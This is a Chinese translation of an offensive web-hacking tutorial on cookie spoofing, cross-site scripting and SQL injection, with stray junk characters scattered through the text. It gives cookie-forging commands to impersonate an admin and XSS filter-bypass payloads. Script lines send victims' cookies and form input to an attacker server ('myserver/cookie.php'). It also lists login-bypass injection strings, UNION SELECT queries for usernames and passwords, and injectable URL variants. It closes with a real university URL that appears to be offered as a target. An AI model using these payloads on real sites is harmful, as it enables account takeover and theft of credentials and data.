XSS & SQL注入

admin

XSS & SQL注入
! V# q3 @- w  J! G! q- h文章作者：CyberPhreak
! J/ }* T8 O# E译文作者：黯魂 [S.S.T]
+ ~  f! S$ y( l
* Y- m) X8 c* d5 h
1 F, }/ _# f/ MXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
) O, z( l0 i' r/ NX Web Security - XSS & more X
# H) [9 x6 f" q9 z4 ^5 U$ g, [/ G2 jXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
: _+ L0 K( r, ~3 w+ n2 I) G! F
" N& R; l# B7 I& a
~介绍
8 J& g' k& W( ?0 o$ E
在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
5 @% X9 [! J* L+ u
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
  O5 }$ |/ ^+ }9 ]4 ]# _- T2 _- sXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
9 @8 s* N+ a+ f7 f9 F9 u% K( r! a. X1 |: pX XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX

~什么是cookie
/ x9 h0 Q0 W6 h4 H! i  B
( u- l  p' z. j5 o/ Ecookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
* h) C" K; X9 q2 R, i3 A; F
~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
, f# j* P% D  j% G3 j
strusername=cnsst;strpassword=cnsst

/ `6 D( U! D* V0 I此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

# X" E* L7 Z0 o  k$ E~什么是XSS

XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
6 l- T* s- X. {# J; l+ i# R9 l
~为什么使用XSS
; r+ r( B$ s3 m
很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
& N! a8 h; \( Y: n. e# d7 F你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
; w/ |" D/ U  Y* X% g2 e
  q) d" X* o0 R3 }6 m~让我们开始吧…
% a! M+ \) c" ^- P
- z8 J# U( z) X1 `1 I我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS--跨站脚本&lt;html&gt;

4 b* j- ^+ _* k; e&lt;body&gt;

&lt;form action="" method="GET"&gt;
; j, Z/ f5 S; `: X
2 R# h) H# J+ E( T&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

Script: &lt;input name="name" type="name"&gt;

&lt;input type="submit" value="submit"&gt;

&lt;/form&gt;
( D# N. _9 H7 ?' ?& s1 u) u
# K5 i* [! U  z# J, Q4 q% A* V&lt;/body&gt;

- I8 ^; f# K8 l7 H1 {* u( H&lt;/html&gt;
' D: S# F/ D& M

2 e; M- j& ^* i" v8 N$ `1 N: A
7 I4 i' `/ E. n( k&lt;?php
) S7 r& e8 `! X9 h$ k& o0 {
+ [3 b- S1 E. g- }/ E$name = $_GET['name'];

$ v/ I& k7 d" r+ c7 techo("Hello $name");

1 R, U, C3 V/ A1 b: t?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

cnsst
"Hello cnsst!"
' ]8 P7 Q/ K# V1 c  Q  [" A
! I  w/ F  I4 I- C& A  k引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>
% Y2 W. G! b( E* c5 N0 t
, N8 l) F4 S. `2 P% L( q3 l那么它将会弹出document.cookie!所以它是易受XSS攻击的!
- W7 h' e5 R6 v/ S
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

, S) a9 h. \  w6 T! t服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...

8 M) Z" @  A# G  Y8 G0 V1 \已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

6 f" m4 m* ?/ S7 i6 {( g# s: }- B让我们看一个稍微复杂点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
$ n8 B- T2 F* {. }scriptalert(document.cookie)/script
或者可能是这样的:
& O3 K) T  i, Q' Wscriptalertdocument.cookie/script

可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
5 o) p& [% g+ G0 {6 s
让我们继续利用:
<<script>>alert(document.cookie)<</script>>
2 j' Y, f! q7 a& |' q) ]3 y
你的输出将弹出document.cookie.

. v' N, @2 }; s6 b1 y% S现在来看看更狠的:
5 N. b$ u  p' B( r<<script>>alert((document.cookie))<<//script>>

, ^# @, R0 s: K& `9 R+ p; E! f
& [  h4 M+ ?' ]) M- ^4 ?  o他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
/ L( E$ Z& j$ S- A+ |, U& L9 S) z7 P& Vscriptalertdocument.cookie/script
9 v1 T; G( w7 S0 F或者 <<<script>>>alert(document.cookie)<<</script>>>  

: @& t% I& m2 c' z* p他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
# c& @5 v' S/ X  D5 x& v<script>alert(document.cookie)</script>

- o1 [+ H8 f' q: t" {! q5 }输出像这样:srplert(document.cookie)srp

# T/ y. P; z" C6 d; [仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
3 b& g2 c8 a5 @! ]3 n8 c
  u4 G6 k, s! |/ j' M所有重复多余的部分刚好被替换!现在让我们来点更高级的!
. A5 B! p+ K$ R4 A# ^1 z
& Z& ~) v" K! {& n3 E2 j  W6 e这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>
( o/ V. [/ c6 \) [1 [, u/ C' _: z2 |
9 k8 l' d# s- U" \9 N( v输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
- Z0 f& _4 q" W6 N<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
! g: K* c7 P# O1 O! B- l
<
script
. t8 a: q) @0 V- c1 c>
+ o( u7 L  l& g- t' V: x; nalert
(
- S& G1 _( s. X2 O0 e* hdocument
1 o! k  g2 H$ f, b  N) c.
- d$ f. p. B; mcookie
+ C$ C! Y1 ]7 t)
: H# F1 J7 f' E* c( r<
9 v$ e; M0 t0 Y$ {( ]3 c  [# p/
/ a7 w: |. ~2 K+ P& p) }, Escript
  s9 g4 [) `! N4 v$ a$ B) n>
" M+ B. @$ J" O) H. W
2 f& U+ v" R% F1 @4 L
$ o3 Q  f+ Y- e7 ~看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
, d2 m  f% \0 L9 Ns
c
" N+ @$ r% ]$ ?8 Z9 m' fr
% B: \( e6 C: y: Ti
p
t
: @9 Y* _7 N6 n# h* u6 q>
a
l
  X! P: b/ S/ c0 A* l/ V# ^' ]e
! h6 ~3 k, Z+ L  x0 K: [* x) W7 _r
! B/ K4 k- o; X. `t
(
/ ?; `& t( k& l) f# @d
- l$ y% l% b# w  so
- Q2 g- Y$ k# Cc
u
4 h# K; i3 j5 ?7 p; `% b$ {" @) zm
+ z, v* \/ A% r! q7 a. d8 xe
  Z' K0 v4 z8 S: [% I+ p$ A: ln
t
.
3 J" n# p/ X; {8 g3 X0 Yc
o
) h: k' v1 X  y7 y5 v6 R( R9 B. n( ^o
( \2 U" y6 c* t$ s0 v# Lk
i
e
)
) M% `' S8 ~6 q4 N& E$ }  S<
: g; s, q  H* O1 Y3 D5 c/
( L/ d, A+ P1 k1 c0 C* ss
% w6 q7 A- t% p: ~' m3 ~" S  F& oc
, {! S7 b/ Y/ m9 g: Zr
i
8 u  P) v% L! ~p
& `7 a0 t! Q" Kt
- z1 W" n# P+ X9 Q, w) E/
>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
* j0 F/ r+ S2 U. U" Y
  z2 b) e7 P5 |1 E; ]还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

4 _/ L( R: M3 _& u" |; H$ u# y& W现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
+ d0 q( g! Z% p: g% a( A: U
0 M0 U! g9 t2 ~! g) F0 l! m/ E首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

, }1 j& u8 _: P7 L/ o6 i7 m3 L我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
9 b- _/ M5 M3 U/ i9 Q; I这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
! V1 d" S7 J9 H1 d; q# Cjavascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
" ]. L9 ]3 k( |* D9 g% {8 e6 pUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
: r3 L% ]( A& i~什么是SQL注入
) U9 I" o1 ~1 \* A* c& O( R
6 q% {: u3 t; uSQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
: _5 }7 j6 ?9 Y. N# d, i9 M$ b
&lt;body&gt;
: d; m7 l% q! h7 l5 f6 K
&lt;form action="" method="POST"&gt;
- U. k2 B: h9 L8 U9 ?) \( ?& @
Username: &lt;input name="name" type="name"&gt;
# |0 ^- l: ]2 ?/ m9 a
" {* I4 ~, q( _! K% ]Password: &lt;input name="password" type="password"&gt;

; y  s4 c" Y# }: I$ {  D&lt;input type="submit" type="submit" value="Submit"&gt;
8 Z4 X  a8 Y9 p+ ?4 \8 _" W5 B# v
&lt;/form&gt;

&lt;/body&gt;

8 W6 q" o8 t. @" c* C&lt;/html&gt;
6 o3 x0 D  @5 s9 C$ s5 r7 f复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
! T5 o' c/ k# u/ {2 Y
% s3 F/ `" v; q8 ?% [最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
) g* b/ ?/ @; H
9 i4 }( w7 ^# T9 P1 k% `' {; ?'='
! d2 ]* J6 Y1 v0 b+ y4 l2 K, f5 U'OR 1=1--
'OR a=a--
/ {2 u, o& H, z# H, B4 ]$ S% p'OR'
; }2 ^  S( K8 q+ [, P- q3 {
8 L  q" M* X/ z自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
' Y! d8 H% K. h& }; c0 ?; J
7 B) N# ]& {% Q'OR''='
'OR"="
" L7 i3 {4 g  a- G; ~7 A'OR'="
'OR '="
5 _' X- l! ^' O9 F  Y'OR "='
4 |# O6 g2 N  M7 A4 m7 L'OR ''='
'OR '=''
5 p/ z; r1 {% l: _: r4 X+ ~'OR "=''
'OR ''="
9 E7 E9 s" }3 H

" ^* @# t9 T0 b/ c~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
- O% Y2 y; P- E  z* j  NUNION ALL SELECT username,password FROM users
+ H4 X# M8 P: j# {# j
这个查询语句将执行,但是….如果毫无作用呢?
2 |* w- R. n' X- u  g% o6 eUNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
4 Z" g9 A7 f% h) J. E2 @+ H
  k6 g9 x. R. K% Z( C  c一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
5 L* B1 l2 F$ G+ h/ l: ?UNION ALL SELECT
4 j% _1 m1 M1 rip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
$ r: X* {# c. h7 N. N
, R" X; L$ E  G& A现在你看到这个了吗?(我确信你已经看到了)
0 \% Y9 c" f% C) Ahttp://example.com/index.php?article=34
- s7 d4 _4 n' a$ J: I. T3 n6 F1 x那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='

+ Y; S. @! y9 B) a% O: l
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
7 c7 f3 o: o* L0 T0 Yhttp://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
; l+ V& P: E* khttp://example.com/index.php?article='OR ''='
/ l4 m( ?2 i4 ehttp://example.com/index.php?article='OR '=''
! ?* I, }8 {' Y3 ^http://example.com/index.php?article='OR''='
% s$ n+ r7 p$ _& d, T0 vhttp://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='
* N* u) v8 |; u  Y
3 N/ N, i4 N% ^. i1 m尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704